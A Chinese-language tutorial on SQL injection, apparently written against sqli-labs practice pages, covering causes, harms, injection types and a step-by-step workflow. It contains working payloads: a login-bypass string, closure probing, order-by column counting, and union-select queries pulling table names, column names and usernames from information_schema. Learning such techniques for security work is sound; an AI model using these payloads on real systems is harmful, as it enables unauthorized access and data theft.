简单了解SQL注入

目录

一、SQL注入的原理

二、SQL注入的两个关键点

三、SQL注入的危害

四、SQL注入的目的

五、SQL注入的分类

六、SQL注入流程


SQL注入之布尔盲注

一、SQL注入的原理

1、产生原因:        

        当Web应用程序向后台数据库传递sQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入到数据库引擎执行,获取甚至修改数据库中的数据。

2、本质:        

        就是把用户输入的数据当成代码来执行,违背了“数据与代码”分离的原则。

 二、SQL注入的两个关键点

1、用户要能够控制输入的内容
2、Web应用能够把用户输入的内容带入到数据库执行

mysql注释:#、--+、%23 

三、SQL注入的危害

1、盗取完整的敏感信息 

2、绕过后台的登录验证

        万能密码' or  '1' = '1' #

        2.1、正常的语句:select * from users where uaername='user' and password='pass'

        2.2、使用万能密码后的语句:select * from users where uaername='' or  '1' = '1' #' and password='pass' 

        相当于:select * from users where uaername='' or  '1' = '1'

四、SQL注入的目的

1、查询数据

2、读写文件

3、执行命令 

五、SQL注入的分类

1、根据注入位置分类:GET型、POST型、Head头注入
2、根据反馈结果分类:有回显(显错注入)、无回显(盲注)
3、根据数据类型分类:
      数字型:输入的参数为整型,如id、年龄、页码等
      字符型:输入的参数为字符串
      数字型与字符型最大的区别在于:数字型不需要闭合,而字符串型一般需要闭合。 

六、SQL注入流程

1、寻找注入点

  • sql跟数据库相关,与数据库有交互的地方
  • 注册、登录、搜索框、修改个人信息的地方

2、判断闭合方式

  • 先判断是数字型还是字符型
    • ?id=1asdf
      • 看是否报错:有报错——数字型,无报错——字符型

>>示例1:

简单了解SQL注入_第1张图片

http://47.109.71.232:8080/Less-1/?id=1

简单了解SQL注入_第2张图片

http://47.109.71.232:8080/Less-1/?id=1asdf

 >>>以上示例说明是字符型。

>>示例2:

简单了解SQL注入_第3张图片

http://47.109.71.232:8080/Less-2/?id=1

简单了解SQL注入_第4张图片

http://47.109.71.232:8080/Less-2/?id=1asdf

 >>>以上示例说明是数字型。

  • 再判断闭合方式
    • ?id=1asdf'
      • 看报错信息

简单了解SQL注入_第5张图片

http://47.109.71.232:8080/Less-1/?id=1asdf'
#报错信息部分内容
''1asdf'' LIMIT 0,1'

1、上述内容中的符号都是单引号,最左边的符号是两个单引号,不是双引号。
2、
' '
" "
( )
[ ]
{ }
...
都是成双成对的
3、输入的内容是1asdf'
4、如果前面的两个都是双引号,那么就会多出最后一个单引号。

简单了解SQL注入_第6张图片

>>示例1:

简单了解SQL注入_第7张图片

http://47.109.71.232:8080/Less-3/?id=1asdf'

简单了解SQL注入_第8张图片

 >>>以上示例看出:闭合符号是:')

3、验证

  • ?id=1' and 1=1
  • ?id=1' and 1=2

简单了解SQL注入_第9张图片

http://47.109.71.232:8080/Less-1/?id=1' and 1=1 --+

简单了解SQL注入_第10张图片

http://47.109.71.232:8080/Less-1/?id=1' and 1=2 --+

4、判断列数和回显位

  • 判断列数用:order by

简单了解SQL注入_第11张图片

http://47.109.71.232:8080/Less-1/?id=1' order by 4--+

简单了解SQL注入_第12张图片

http://47.109.71.232:8080/Less-1/?id=1' order by 3--+

 >>>判断有四列的时候报错,判断有三列的时候正确回显,说明列数为三。

  • 判断回显用:union

简单了解SQL注入_第13张图片

http://47.109.71.232:8080/Less-1/?id=-1'union select 1,2,3--+

5、取数据

  • 数据库名

简单了解SQL注入_第14张图片

http://47.109.71.232:8080/Less-1/?id=-1' union select 1,database(),3--+
  • 根据数据库名查表名

简单了解SQL注入_第15张图片

http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
  • 查列名

简单了解SQL注入_第16张图片

http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
  • 查数据

简单了解SQL注入_第17张图片

http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(username) from users),3--+

你可能感兴趣的:(学习,web安全,sql,sql,数据库)